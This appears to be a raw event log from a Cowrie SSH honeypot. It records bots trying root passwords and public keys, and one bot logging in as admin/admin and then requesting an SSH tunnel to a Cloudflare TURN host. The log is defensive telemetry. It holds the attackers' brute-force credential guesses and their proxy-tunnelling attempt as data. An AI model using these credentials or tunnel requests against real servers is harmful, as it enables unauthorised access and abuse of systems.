{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:02.229308Z","src_ip":"62.133.62.83","session":"7f2850d247bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":48654,"dst_ip":"10.17.0.5","dst_port":22,"session":"78cc2b082ad8","protocol":"ssh","message":"New connection: 43.228.112.254:48654 (10.17.0.5:22) [session: 78cc2b082ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:11.628455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:11.637552Z","src_ip":"43.228.112.254","session":"78cc2b082ad8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:11.857772Z","src_ip":"43.228.112.254","session":"78cc2b082ad8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456789","message":"login attempt [root/abc123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:12.772408Z","src_ip":"43.228.112.254","session":"78cc2b082ad8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:13.997039Z","src_ip":"43.228.112.254","session":"78cc2b082ad8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.57.37","src_port":46752,"dst_ip":"10.17.0.5","dst_port":22,"session":"55497242d115","protocol":"ssh","message":"New connection: 43.130.57.37:46752 (10.17.0.5:22) [session: 55497242d115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:14.734181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:14.741459Z","src_ip":"43.130.57.37","session":"55497242d115","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:14.811976Z","src_ip":"43.130.57.37","session":"55497242d115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc123","message":"login attempt [root/qazwsxedc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:15.121336Z","src_ip":"43.130.57.37","session":"55497242d115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:16.194567Z","src_ip":"43.130.57.37","session":"55497242d115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":39474,"dst_ip":"10.17.0.5","dst_port":22,"session":"82da126bcc35","protocol":"ssh","message":"New connection: 45.148.10.121:39474 (10.17.0.5:22) [session: 82da126bcc35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:32.008612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:32.018032Z","src_ip":"45.148.10.121","session":"82da126bcc35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:32.104270Z","src_ip":"45.148.10.121","session":"82da126bcc35","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:32.365648Z","src_ip":"45.148.10.121","session":"82da126bcc35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:32.453256Z","session":"82da126bcc35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:32.540892Z","src_ip":"45.148.10.121","session":"82da126bcc35","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:32.544613Z","src_ip":"45.148.10.121","session":"82da126bcc35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:32.653983Z","src_ip":"45.148.10.121","session":"82da126bcc35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":39476,"dst_ip":"10.17.0.5","dst_port":22,"session":"622dc82c488e","protocol":"ssh","message":"New connection: 45.148.10.121:39476 (10.17.0.5:22) [session: 622dc82c488e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:32.737441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:32.742588Z","src_ip":"45.148.10.121","session":"622dc82c488e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:32.830616Z","src_ip":"45.148.10.121","session":"622dc82c488e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:33.097258Z","src_ip":"45.148.10.121","session":"622dc82c488e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:33.187429Z","session":"622dc82c488e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:33.277651Z","src_ip":"45.148.10.121","session":"622dc82c488e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:33.281375Z","src_ip":"45.148.10.121","session":"622dc82c488e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:33.458545Z","src_ip":"45.148.10.121","session":"622dc82c488e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.16.74","src_port":57238,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a311f606f4b","protocol":"ssh","message":"New connection: 173.236.16.74:57238 (10.17.0.5:22) [session: 6a311f606f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:42.663206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:42.667681Z","src_ip":"173.236.16.74","session":"6a311f606f4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:42.754515Z","src_ip":"173.236.16.74","session":"6a311f606f4b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:71:77:dc:3b:b6:6a:d5:f1:27:0f:b1:61:d6:6e:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvJ8O6gePYDuGodn+/mETgnxAuUkxJXLUbuJUybDNznrJVG4TaDWJP6Cs4ejgOLcKQm18mhQ8Fg638Bc3U7PLnJGb1fmq5y9K8VsPSFLCJ3SfokIazV2h+bURnt1iIMOO16iilmI+NrwGu5hpm5x9a2i5FT+au944iLcqEZtjF8tSXi7UNxcqJz4NpL5Lhv5L5yiw3wdufw9Mho5z5QYPVu6BJpGRtILcaYBGpB5gvmp2iT7+CR6ye/1XX387Y7vNm673xulejRZhmwo/J8dcdyDI3sj96zEI1YFyha6Le5+BQ4XJGOML0W4ZHSswo1R4v9rubzYTaqYBYsH58ZBYv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:71:77:dc:3b:b6:6a:d5:f1:27:0f:b1:61:d6:6e:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:43.171833Z","src_ip":"173.236.16.74","session":"6a311f606f4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:71:77:dc:3b:b6:6a:d5:f1:27:0f:b1:61:d6:6e:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvJ8O6gePYDuGodn+/mETgnxAuUkxJXLUbuJUybDNznrJVG4TaDWJP6Cs4ejgOLcKQm18mhQ8Fg638Bc3U7PLnJGb1fmq5y9K8VsPSFLCJ3SfokIazV2h+bURnt1iIMOO16iilmI+NrwGu5hpm5x9a2i5FT+au944iLcqEZtjF8tSXi7UNxcqJz4NpL5Lhv5L5yiw3wdufw9Mho5z5QYPVu6BJpGRtILcaYBGpB5gvmp2iT7+CR6ye/1XX387Y7vNm673xulejRZhmwo/J8dcdyDI3sj96zEI1YFyha6Le5+BQ4XJGOML0W4ZHSswo1R4v9rubzYTaqYBYsH58ZBYv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:43.175735Z","src_ip":"173.236.16.74","session":"6a311f606f4b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:56:da:b2:66:bc:67:ef:8c:99:23:cb:20:2a:5e:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBOi7nMEWA1SS7k7jqRvnnSzHkKXIgJkqT7LCQye96h/x/kpHZlkJ8DybJz4RfK2a/4j1P/e5Ma9nLvu9WPzjNVBTftvKWBDJD4yjTeumCXkOuY4dmrPLlHZNovN2EbYvRGxNxJz3rek0KmtrHzy8nXa4P4xVadBlk2hwph3aqmao8OdUeyohm2txWlf19/r92JZuXUIYVKOBwNKOIG6THCzA526Dx5w7J3hJA6q/4GusYd8GvycR9/Qo7YvqQtfNJ7y+VngMneW3g/onQjGFAQr0qO4sJuAadwLbFjraiLjbkuxay63VDJvmLBZFqveTWnsZ9gfHcOw41Cn3aSHrL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:56:da:b2:66:bc:67:ef:8c:99:23:cb:20:2a:5e:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:43.265965Z","src_ip":"173.236.16.74","session":"6a311f606f4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:56:da:b2:66:bc:67:ef:8c:99:23:cb:20:2a:5e:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBOi7nMEWA1SS7k7jqRvnnSzHkKXIgJkqT7LCQye96h/x/kpHZlkJ8DybJz4RfK2a/4j1P/e5Ma9nLvu9WPzjNVBTftvKWBDJD4yjTeumCXkOuY4dmrPLlHZNovN2EbYvRGxNxJz3rek0KmtrHzy8nXa4P4xVadBlk2hwph3aqmao8OdUeyohm2txWlf19/r92JZuXUIYVKOBwNKOIG6THCzA526Dx5w7J3hJA6q/4GusYd8GvycR9/Qo7YvqQtfNJ7y+VngMneW3g/onQjGFAQr0qO4sJuAadwLbFjraiLjbkuxay63VDJvmLBZFqveTWnsZ9gfHcOw41Cn3aSHrL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:43.269646Z","src_ip":"173.236.16.74","session":"6a311f606f4b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:6e:b5:41:9e:b3:2f:40:b0:d8:6c:68:8b:24:40:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAok6/vlhzR7Ir6QpwIirEtmKmb6on02x1IEm2bz1PFKk3LxToSUGJXM4iivS9bGRiNLc6THlV1HQV6obNvhcWjnZwd1bjqEmu4fk0Ehbnx4oxGmO/DNkESCQrP3tzl0ix8fwcvF5C5yoqAqCd/eucm0gFGI3NNVnDI0m3/ZJ8ikKflGLnv+P74PlbaseMePgef4WrPI0LeJqS5dZIlmQAhj3zIs/4R+9MidflLwecoa2N5Wi/3jynyIRsR+R7RbgBE8bhFlYgVwv+Z0vae06S20BP+OEZetPLLpnu6Ud0cdusHPaqJM6xYpXPjnooWiSlCzJDVSkX9yo3O9dLKVR9SQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:6e:b5:41:9e:b3:2f:40:b0:d8:6c:68:8b:24:40:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:43.356956Z","src_ip":"173.236.16.74","session":"6a311f606f4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:6e:b5:41:9e:b3:2f:40:b0:d8:6c:68:8b:24:40:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAok6/vlhzR7Ir6QpwIirEtmKmb6on02x1IEm2bz1PFKk3LxToSUGJXM4iivS9bGRiNLc6THlV1HQV6obNvhcWjnZwd1bjqEmu4fk0Ehbnx4oxGmO/DNkESCQrP3tzl0ix8fwcvF5C5yoqAqCd/eucm0gFGI3NNVnDI0m3/ZJ8ikKflGLnv+P74PlbaseMePgef4WrPI0LeJqS5dZIlmQAhj3zIs/4R+9MidflLwecoa2N5Wi/3jynyIRsR+R7RbgBE8bhFlYgVwv+Z0vae06S20BP+OEZetPLLpnu6Ud0cdusHPaqJM6xYpXPjnooWiSlCzJDVSkX9yo3O9dLKVR9SQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:40:43.360662Z","src_ip":"173.236.16.74","session":"6a311f606f4b","protocol":"ssh"}
